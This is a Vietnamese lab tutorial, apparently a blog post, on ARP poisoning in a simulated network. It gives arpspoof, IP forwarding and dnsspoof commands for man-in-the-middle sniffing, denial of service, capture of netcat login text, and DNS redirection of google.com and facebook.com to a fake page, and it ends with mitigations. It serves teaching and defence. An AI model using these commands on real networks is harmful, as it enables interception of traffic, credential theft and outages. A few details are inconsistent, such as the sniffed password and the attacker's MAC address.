Home Network Hướng Dẫn Thực Hành Lab: Tấn Công ARP Poisoning (Man-in-the-Middle)

Hướng Dẫn Thực Hành Lab: Tấn Công ARP Poisoning (Man-in-the-Middle)

by phongdh

⚠️ CẢNH BÁO BẢO MẬT & ĐẠO ĐỨC: Tài liệu này chỉ phục vụ mục đích học tập, nghiên cứu an toàn thông tin và kiểm thử trong môi trường Lab mô phỏng (như PNETLab, GNS3, EVE-NG). Tuyệt đối KHÔNG sử dụng các kỹ thuật này trên các hệ thống mạng thực tế khi chưa có sự cho phép bằng văn bản của chủ sở hữu.

1. Mục Tiêu Bài Lab

  • Hiểu rõ cơ chế hoạt động của giao thức phân giải địa chỉ (ARP).
  • Thực hiện thành công kỹ thuật “đầu độc” bộ nhớ đệm ARP (ARP Cache Poisoning).
  • Mở rộng: Thực hiện các kịch bản tấn công dựa trên ARP Poisoning bao gồm: Man-in-the-Middle (Capture Traffic), Denial of Service (DoS), và Session Hijacking (Chiếm đoạt phiên làm việc).

2. Mô Hình Lab (Topology)

Mô hình bao gồm các thiết bị kết nối vào cùng một Switch (Mạng LAN 192.168.1.0/24).

Thông tin các máy trạm (Dựa theo slide):

  • Host A (Nạn nhân 1):
    • IP: 192.168.1.1
    • MAC (Ví dụ): 50:4e:4c:00:12:00
  • Host B (Nạn nhân 2):
    • IP: 192.168.1.2
    • MAC (Ví dụ): 50:49:04:00:16:00
  • Attacker (Máy tấn công – Kali Linux):
    • IP: 192.168.1.3
    • MAC (Ví dụ): 50:0e:71:00:06:00
    • Interface mạng: eth0

Công cụ sử dụng trên máy Attacker:

  • arpspoof (thuộc bộ công cụ dsniff)
  • Wireshark (để phân tích gói tin)

3. Các Bước Thực Hiện

Cấu hình IP tĩnh cho các máy trạm (Thiết lập ban đầu)

Nếu các thiết bị trong PNETLab vừa được khởi động và chưa có IP, bạn cần gán IP tĩnh cho chúng theo đúng mô hình.

Đối với máy Attacker (Kali Linux / Linux nói chung): Mở terminal với quyền root và gán IP cho interface eth0:

nmcli connection add type ethernet con-name eth0-static ifname eth0 ipv4.method manual ipv4.addresses 192.168.1.3/24
nmcli connection up eth0-static
ifconfig etho

Đối với Host A và Host B (Sử dụng node VPCS – Virtual PC Simulator):

Mở terminal của VPCS và sử dụng lệnh sau để gán IP:

  • Host A: ip 192.168.1.1/24
  • Host B: ip 192.168.1.2/24

Bước 1: Kiểm tra kết nối và thu thập thông tin

Trước khi tấn công, hãy đảm bảo các máy có thể giao tiếp bình thường với nhau.

  1. Từ Host A, ping sang Host B để đảm bảo kết nối thông suốt:
ping 192.168.1.2

2. Trên máy Attacker (Kali Linux), kiểm tra địa chỉ IP và bảng ARP hiện tại để biết MAC của các nạn nhân:

# 1. Kiểm tra IP  MAC máy mình
ifconfig eth0 

# 2. Ping đến các nạn nhân để "mồi" bảng ARP ( ban đầu bảng ARP  thể trống)
ping -c 2 192.168.1.1
ping -c 2 192.168.1.2

# 3. Xem lại bảng ARP để ghi nhận MAC của Host A  Host B
arp -a

Nhận xét: Lúc này lệnh arp -a sẽ hiển thị đầy đủ IP của Host A (192.168.1.1) và Host B (192.168.1.2) tương ứng với địa chỉ MAC thật của chúng.

Bước 2: Cấu hình IP Forwarding (Chuyển tiếp gói tin)

Đây là bước cực kỳ quan trọng. Nếu không bật tính năng này, khi máy Attacker nhận được gói tin từ Host A gửi cho Host B, nó sẽ drop (hủy) gói tin đó, dẫn đến việc Host A và Host B bị mất mạng (tấn công DoS) thay vì MitM.

  1. Trên máy Attacker, mở terminal với quyền root và gõ lệnh sau:
  2. Kiểm tra lại xem đã bật thành công chưa (nếu kết quả trả về 1 là thành công):
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward

Bước 3: Thực hiện đầu độc bộ nhớ đệm ARP (ARP Spoofing)

Chúng ta sẽ dùng công cụ arpspoof để gửi các gói tin ARP Reply giả mạo (gratuitous ARP) liên tục.

Bạn cần mở 2 cửa sổ Terminal trên máy Attacker.

  • Terminal 1 (Đầu độc Host A): Lừa Host A (-t 192.168.1.1) rằng tôi (Attacker) chính là Host B (192.168.1.2).
arpspoof -i eth0 -t 192.168.1.1 192.168.1.2

Terminal 2 (Đầu độc Host B): Lừa Host B (-t 192.168.1.2) rằng tôi (Attacker) chính là Host A (192.168.1.1).

arpspoof -i eth0 -t 192.168.1.2 192.168.1.1

Lưu ý: Để 2 terminal này chạy liên tục. Việc tấn công sẽ dừng lại khi bạn nhấn Ctrl + C.

Bước 4: Kiểm tra kết quả bắt gói tin (Sniffing Traffic)

Lúc này, toàn bộ dữ liệu giao tiếp giữa Host A và Host B đã đi qua máy Attacker.

  1. Mở Wireshark trên máy Attacker, chọn interface eth0 để bắt đầu bắt gói tin.
  2. Kiểm chứng ARP bị đầu độc:
    • Trên ô Filter của Wireshark, gõ arp.
    • Bạn sẽ thấy máy Attacker liên tục gửi các gói tin báo rằng IP 192.168.1.1 đang ở MAC của Attacker (50:0e:7f:00:06:00), và IP 192.168.1.2 cũng đang ở MAC của Attacker.
    • (Tùy chọn) Có thể vào Host A hoặc Host B (VPCS) gõ lệnh arp, bạn sẽ thấy địa chỉ MAC của IP đối phương đã bị biến thành MAC của máy Attacker.

Bước 5: Man-in-the-Middle & Capture Traffic (Chặn bắt gói tin)

  • Trên Host A, thực hiện ping liên tục sang Host B: ping 192.168.1.2
  • Trên Wireshark của máy Attacker, trên ô Filter gõ icmp.
  • Kết quả: Mặc dù máy Attacker không phải là đích đến hay nguồn gửi, bạn vẫn sẽ nhìn thấy toàn bộ các gói tin Echo (ping) requestEcho (ping) reply của 2 máy này xuất hiện trên Wireshark của máy Attacker.

Bước 6: Tấn công Từ Chối Dịch Vụ (DoS – Denial of Service)

Dựa trên nguyên lý ARP Spoofing, nếu máy Attacker thu hút toàn bộ lưu lượng mạng về mình nhưng từ chối chuyển tiếp (forward) gói tin đi, 2 máy nạn nhân sẽ hoàn toàn mất kết nối với nhau.

1. Tắt IP Forwarding trên Kali Linux:

echo 0 > /proc/sys/net/ipv4/ip_forward

2. Kiểm tra hiệu quả DoS:

  • Lúc này, ARP cache của Host A vẫn trỏ IP Host B sang MAC của Attacker.
  • Từ Host A, thực hiện lại lệnh ping 192.168.1.2.
  • Kết quả (Đặc trưng trên Linux): * Không giống như Windows sẽ báo Request Timeout, lệnh ping trên Linux khi bị mất kết nối sẽ chỉ đứng im và không in ra thêm dòng nào cả.
  • Để xem kết quả thực sự, bạn hãy nhấn tổ hợp phím Ctrl + C để dừng lệnh ping.
  • Bạn sẽ thấy hệ thống báo cáo: 100% packet loss (mất 100% gói tin). Điều này chứng minh gói tin đã bị Attacker chặn lại, 2 máy nằm cùng mạng LAN nhưng đã bị cắt đứt liên lạc.

Bước 7: Đánh cắp thông tin và Chiếm đoạt phiên (Session Hijacking)

⚠️ LƯU Ý QUAN TRỌNG VỀ VPCS: Máy ảo VPCS không có lớp ứng dụng, do đó KHÔNG hỗ trợ các lệnh như telnet hay ftp (sẽ báo lỗi Bad command). Để thực hiện Kịch bản 3, bạn BẮT BUỘC phải thay thế node VPCS trong sơ đồ bằng một node Linux (ví dụ: TinyCore Linux, Ubuntu, Kali) hoặc Windows.

Bật lại IP Forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward

Khi đã ở vị trí MitM (bật IP Forwarding) và Capture được traffic, kẻ tấn công có thể dễ dàng đánh cắp thông tin đăng nhập (Credentials Sniffing) hoặc chiếm phiên làm việc (Hijacking) đối với các giao thức không mã hóa.

Man-in-the-Middle (Đánh cắp mật khẩu)

Để nạn nhân không phát hiện bị tấn công, Attacker phải cho phép lưu lượng mạng đi qua mình một cách bình thường (Forwarding), đồng thời lén lút copy lại gói tin.

1. Chuẩn bị “Nghe lén” (Trên máy Attacker)

  • Mở phần mềm Wireshark, chọn cổng eth0.
  • Trên thanh Filter (Bộ lọc), gõ tcp.port == 23 và nhấn Enter để chỉ bắt các gói tin của dịch vụ ta vừa tạo.

2. Nạn nhân sập bẫy (Trên máy Host B) Nạn nhân tiến hành đăng nhập vào máy chủ.

  • Trên Host A (Server): Đảm bảo rằng máy A vẫn đang mở port 23 để chờ kết nối. (Nếu ở kịch bản 1 bạn đã dùng Ctrl + C để thoát ra test lệnh ping, hãy gõ lại lệnh sau để mở lại port):
nc -lvnp 23
  • Từ Host B, gõ lệnh kết nối:
nc 192.168.1.1 23

3. Màn hình Host B sẽ chuyển sang chế độ chờ gõ văn bản tự do. Bạn hãy giả vờ gõ thông tin đăng nhập (nhấn Enter sau mỗi dòng):

user=admin
pass=123456

4. Thu hoạch mật khẩu (Trên máy Attacker)

  • Quay lại màn hình Wireshark của máy Attacker.
  • Bạn sẽ thấy các gói tin TCP màu xanh lá cây hoặc đỏ xuất hiện.
  • Click chuột phải vào một gói tin bất kỳ -> Chọn Follow -> Chọn TCP Stream.
  • Kết quả: Một bảng hiện ra, phơi bày rõ ràng dòng chữ Username: admin và Password: mysecretpassword mà nạn nhân vừa gõ!

DNS Hijacking (Bẻ Lái Lưu Lượng – Môi Trường Offline)

Kịch bản này được thiết kế cho môi trường Lab cô lập. Trong mô hình này, máy Attacker sẽ đóng cả hai vai trò: Kẻ tấn công đứng giữa và Máy chủ giả mạo. Cả Host AHost B đều là nạn nhân.

Bước 1: Thiết lập trang Web giả mạo (Ngay trên máy Attacker)

Hacker sẽ dựng sẵn một máy chủ Web lừa đảo ngay trên máy Kali của mình:

# 1. Tạo thư mục  trang web giả mạo
mkdir /var/www/fake_site
echo "<h1>TRANG WEB GIA MAO - BAN DA BI CHIEM DOAT PHIEN!</h1>" > /var/www/fake_site/index.html

# 2. Khởi động máy chủ Web tại Port 80
cd /var/www/fake_site
python3 -m http.server 80

Bước 2: Tạo file cấu hình bẻ lái cho dnsspoof (Trên Attacker)

Thay vì sửa file hệ thống của Ettercap, ta tạo một file text riêng để định nghĩa các tên miền muốn giả mạo.

1. Tạo file đặt tên là hosts.txt:

vi ~/hosts.txt

2. Thêm các dòng sau vào cuối file (Trỏ các tên miền về IP của Attacker):

192.168.1.3      google.com
192.168.1.3      [www.google.com](https://www.google.com)
192.168.1.3      facebook.com

Bước 3: Thực hiện tấn công chiếm đoạt DNS toàn mạng

Bạn cần chạy đồng thời các tiến trình sau trên máy Kali:

1. Terminal 1 – Bật Forwarding:

echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward

2. Terminal 2 – Đầu độc ARP Nạn nhân (Lừa Host B):

# Lừa Host B rằng Kali  Gateway/Server
arpspoof -i eth0 -t 192.168.1.2 192.168.1.1

3. Terminal 3 – Đầu độc ARP hướng ngược lại:

arpspoof -i eth0 -t 192.168.1.1 192.168.1.2

4. Terminal 4 – Chạy dnsspoof để bẻ lái tên miền:

# Sử dụng file hosts.txt đã tạo  Bước 2
dnsspoof -i eth0 -f ~/hosts.txt

5. Kiểm tra phân giải tên miền

Gõ lại lệnh kiểm tra trên Host A hoặc Host B:

nslookup google.com

Kết quả đúng: Bạn sẽ thấy dòng Address: 192.168.1.3. Đồng thời bên máy Kali (Terminal 4) sẽ hiện dòng chữ báo đã bẻ lái thành công.

6. Truy cập Web giả mạo

curl http://google.com

Kết quả: Màn hình hiện nội dung “CANH BAO…” từ máy Kali.

4. Tổng Kết

  • Giao thức ARP thiếu cơ chế xác thực, dẫn đến lỗ hổng dễ dàng bị lạm dụng bởi các gói tin Gratuitous ARP giả mạo.
  • Tùy thuộc vào thiết lập của Attacker, ARP Spoofing có thể dẫn đến hậu quả mất mát tính bí mật (Capture Traffic, Hijacking) hoặc làm gián đoạn hệ thống (DoS).

5. Cách Phòng Chống (Mitigation)

Để ngăn chặn tấn công này trong thực tế, các quản trị mạng có thể áp dụng:

  1. Sử dụng Dynamic ARP Inspection (DAI): Cấu hình trên Switch của Cisco/các hãng khác để kiểm tra tính hợp lệ của gói tin ARP dựa trên bảng DHCP Snooping.
  2. Thiết lập ARP tĩnh (Static ARP): Trói buộc (bind) cứng địa chỉ IP với MAC tĩnh trên máy trạm (khó quản lý ở mạng lớn).
  3. Sử dụng Port Security: Hạn chế số lượng địa chỉ MAC được phép học trên một port của Switch.
  4. Mã hóa lưu lượng: Sử dụng HTTPS thay cho HTTP, SSH thay cho Telnet, SFTP thay cho FTP để ngay cả khi bị MitM, kẻ tấn công cũng không thể đọc được nội dung (phòng chống Hijacking).

You may also like

Leave a Comment